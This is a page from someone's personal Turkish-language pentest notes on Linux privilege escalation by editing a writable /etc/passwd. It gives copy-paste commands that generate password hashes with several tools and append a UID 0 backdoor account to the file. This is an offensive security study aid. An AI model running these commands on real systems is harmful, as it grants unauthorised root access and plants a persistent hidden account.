Tufan Turhan
  • Introduction
  • Red Teaming
    • Initial Access
      • VoipHopper
      • SMB – SCF File Attacks
      • MITM6
      • LLMNR, NBT-NS, mDNS Zehirlemeleri ve Relay Ataklar
    • Responder - DNS Injection
    • Privilege Escalation
      • PrintNightmare
      • Juicy Potato ile Windows Yetki Yükseltme
      • Token Impersonation with Incognito
    • Active Directory & Kerberos
      • Kerberos
      • Kerberosting
      • AS-REP Roasting
      • Overpass The Hash/Pass The Key (PTK)
      • DCSync Attack
      • DCShadow Attack
      • GETTGT
      • Golden Tickets
      • Silver Tickets
      • PowerView
      • MS14-025 (GPP Abusing)
      • BloodHound
      • Procdump
    • Lateral Movement
      • RDP MiTM-Hijacking
      • Vlan Hopping
      • Pivoting
    • Network Pentest
      • IPv4 Subnet Cheat Sheet
      • DNS Spoofing
      • DHCP Rogue
    • Shell to Meterpreter
    • Turn Off or Bypass AV
    • Useful CMD or Powershell Command
    • Brute Force
    • Windows Dosya İndirme
    • Windows UAC Bypass
    • Insecure Dosya İzni
  • Pentesting
    • Pentesting FTP - 21
    • Pentesting SMTP - 25,465,587
    • Pentesting SMB - 139 & 445
    • Pentesting Telnet - 23
    • Pentesting DNS - 53
    • Pentesting MSRPC -135
    • Pentesting SNMP - 161,162
    • Pentesting LDAP - 389,636
    • Pentesting MSSQL - 1433
    • Pentesting MYSQL - 3306
    • Pentesting RDP - 3389
    • Pentesing WINRM 5985,5986
  • Web Application
    • 2FA/OTP Bypass
    • Captcha Bypass
    • Cache Poisoning
    • Command Injection (OS)
    • CRLF Injection
    • Cross-site WebSocket hijacking (CSWSH) -
    • Cross-site request forgery (CSRF) -
    • Dangling Markup -
    • Path traversal
    • File Upload
    • Formula Injection (CSV Injection)
    • Login Bypass List
    • OAuth -
    • Open Redirect
    • Race Condition -
    • Registration - Password Reset & Takeover Vulnerabilities
    • SQL Injection
    • SSRF
  • Linux Privilege Escalation
    • PHP Wrapper
    • Simple Http
    • Editing /etc/passwd
    • SUID Binaries
    • Sudo Rights
    • Otomatize Araçlar
    • OSCP Not
  • HTB
  • Reverse Shell w/Msfvenom
  • Upgrading Simple Shells to Fully Interactive TTYs
Powered by GitBook
On this page
  • Yazılabilir /etc/passwd İstismarı
  • /etc/passwd Dosyasında Kullanıcıyı Manuel Olarak Düzenleme
  • Python Kullanarak Hash Değeri Üretme
  • Openssl Kullanarak Hash Değeri Üretme
  • Mkpasswd Kullanarak Hash Değeri Üretme
  • Perl Kullanarak Hash Değeri Üretme
  • PHP Kullanarak Hash Değeri Üretme
  1. Linux Privilege Escalation

Editing /etc/passwd

PreviousSimple HttpNextSUID Binaries

Last updated 2 years ago

/etc/passwd Dosya içeriği iki nokta üstüste (“:”) karakteri ile ayrılmış olarak 7 kolondan oluşur.

  1. kullanıcı ismi oturum açarken kullanılır.

  2. x olan yer kullanıcı hesabının parolasının özetlenmiş halidir. Eski işletim sistemlerinde tutulurdu burada bu dosyayı herkes okuyabildiği için artık burada değil /etc/shadow altında tutuluyor. Diğer türlü bu hasheri alıp brute force yapıyorlar.

  3. Kullanıcı hesabının id değeri. “root” kullanıcı hesabının UID değeri 0 olacak şekilde, bazı ön tanımlı kullanıcı hesaplarınki 1-99 arasında olacak şekilde, yönetimsel/sistemsel hesaplarun ve gruplarınki ise 100-999 arasında olacak şekilde ayrılmıştır. Sonradan oluşturulan kullanıcı tanımlı hesapların UID değeri ise 1000 ve sonrası olacak şekilde otomatik olarak belirlenmektedir.

  4. Kullanıcı hesabının birincil grubuna ait ID değeridir. Bu değer /etc/group dosyasında depolanmaktadır.

  5. Kullanıcının gerçek adı.

  6. /home/kali kullanıcının oturum açtıktan sonra düşeceği ev dizinidir.

  7. Kullanıcının oturum açarken çalışacak komuttur. Bu değer genellikle kabuk verilir ve kullanıcının komut çalıştırabileceği bir ortam hazırlanmış olur. Bunun yanında bin/false, sbin/false, bin/nologin, sbin/nologin, /usr/sbin/nologin,… gibi kabuklar etkileşimli oturum açılması istenmeyen hesaplar için kullanılır.

Yazılabilir /etc/passwd İstismarı

Görsel de görüldüğü gibi yalnızca root tarafından yazılabilmektedir. Yani izinler 644'dür. Eğer 646 olsaydı kullanıcılar tarafından da yazılabilir durumda olacaktı.

İçeriği her kullanıcı tarafından değiştirilebilir olarak ayarlanmış olan /etc/passwd dosyasına yeni bir kullanıcı hesabı olarak aşağıdaki satır eklenerek, bu kullanıcı ile oturum açılmaya çalışılabilir.

YeniHesap:x:1001:1001:,,,:/home/YeniHesap:/bin/bash

Bu kullanıcının yetkisinin “root” gibi olmasının sağlanması için “root” kullanıcısı ile aynı olacak şekilde kullanıcı ID değeri (“0”), grup ID değeri (“0”), ev dizini bilgisi (“/root”),… ayarlanabilir.

YeniHesap:x:0:0:,,,:/root:/bin/bash

/etc/passwd Dosyasında Kullanıcıyı Manuel Olarak Düzenleme

user1:*:1001:1003:,,,:/home/user1:/bin/bash

diye bir kullanıcı var bunu kopyalayıp aşağıda ki gibi yapıştırırsak farklı bir kullanıcı daha olumuş olur.

user2:*:1002:1003:,,,:/home/user2:/bin/bash

Şimdi passwd komutu ile user2 için bir şifre belirleyin ve şifreyi girin.

passwd user2

Ayrıca oturum açma sırasında parola kontrolünün /etc/shadow dosyasından değil, /etc/passwd dosyasından yapılması için (normalde “x” olarak bırakılan) ikinci sütuna özetlenmiş parola bilgisi girilebilecektir. Parolanın saklanacağı metod MD5, SHA-256, SHA-512,… olabilir. Bir kullanıcı oluşturulurken, /etc/shadow dosyasında parolanın nasıl saklanacağı /etc/login.defs dosyasında belirtilmiştir.

cat /etc/login.defs | grep ENCRYPT_METHOD

Python Kullanarak Hash Değeri Üretme

Hash değerini almak için python kodu kullanılabilir.

python -c ‘import crypt; print crypt.crypt(“Parola123”, “$6$TuzDegeri$”)’

Böylece çıkan değer “x” ile belirtilen yere eklenebilir.

YeniHesap:$6$TuzDegeri$fp2SDDsBrZL1s97kLVqmwbcJukabnRcHpYgD2mJvQd50ppY0K/MUjwz3YKuxLzxyOq/T4J5JnsaCuy7J2u8Ox0:0:0:,,,:/root:/bin/bash

Openssl Kullanarak Hash Değeri Üretme

Bunun yanında Python betiği yerine “openssl” aracı ile de yeni bir parola özeti oluşturulabilir. Ayrıca SHA-512 yerine MD5 gibi diğer özetleme algoritmaları da kullanılabilir.

 openssl passwd -1 -salt user3 pass123

Hashlenmiş şifreyi alacağız, bundan sonra terminalde nano ile /passwd dosyasını açın ve kullanıcı adını manuel olarak ekleyin. Manuel olarak yeni kullanıcı "user3" ekleme adımını izleyin ve parola için * veya X yerine şifrelenmiş değeri yapıştırın.

Not: Daha kısa yöntem olarak tuzsuz da parola oluşturulabilir.

openssl passwd Parola123

Böylece çıkan değer “x” ile belirtilen yere eklenebilir.

YeniHesap:$1$TuzEki$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash

Mkpasswd Kullanarak Hash Değeri Üretme

Paket yüklü ise “mkpasswd” aracı ile de parola özeti oluşturulabilirdi.

Syntax: mkpasswd -m [hash type] {password}

mkpasswd -m SHA-512 pass

Perl Kullanarak Hash Değeri Üretme

perl -le 'print crypt("pass123", "abc")'

PHP Kullanarak Hash Değeri Üretme

php -r "print(crypt('aarti','123') . \"\n\");"

Elde edilen satır /etc/passwd dosyasına eklenmeya hazırdır. Bu amaçla “echo” komutu ve “$” karakterlerini kullanmak için de “\” ayıracı kullanılabilir.

echo “YeniHesap:$1$TuzEki$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash” echo “YeniHesap:\$1\$TuzEki\$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash” echo “YeniHesap:\$1\$TuzEki\$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash” >> /etc/passwd tail -3 /etc/passwd

Not: Bunun yanında “vi” gibi editörler veya SCP ile dosya kopyalama gibi metodlar da kullanılabilirdi.

Böylece yeni oluşturulan kullanıcı hesabı ve “Parola123” parolası ile oturum açılabilir.

su – YeniHesap

Notlar aşağıdaki referanstan alınmıştır. Buraya konma sebebi hem elimin altında olması hem de yaznının silinmesinden ötürüdür.

Erişim İzinleri Uygun Ayarlanmamış /etc/passwd Dosyasının Kötüye Kullanılarak Hak YükseltilmesiSİBER GÜVENLİK PORTALİ
Editing /etc/passwd File for Privilege Escalation - Hacking ArticlesHacking Articles
Logo
Logo